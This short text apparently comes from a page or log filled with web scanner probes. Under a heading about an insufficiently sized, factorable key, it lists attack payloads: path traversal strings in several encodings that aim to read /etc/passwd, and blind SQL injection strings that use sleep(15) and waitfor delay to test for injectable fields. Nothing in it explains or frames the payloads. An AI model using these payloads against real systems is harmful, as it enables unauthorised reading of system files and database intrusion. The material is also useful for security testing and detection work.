Insufficient Key Size
Are you running on all 8 cores? This small key is factorable on a PC with an efficient implementation.
../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
1-1; waitfor delay '0:0:15' --
../././../././../././../././../././../././../././../././../././etc/passwd
..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
1-1); waitfor delay '0:0:15' --
file:///etc/passwd
/../../../../../../../etc/passwd
1-1 waitfor delay '0:0:15' --
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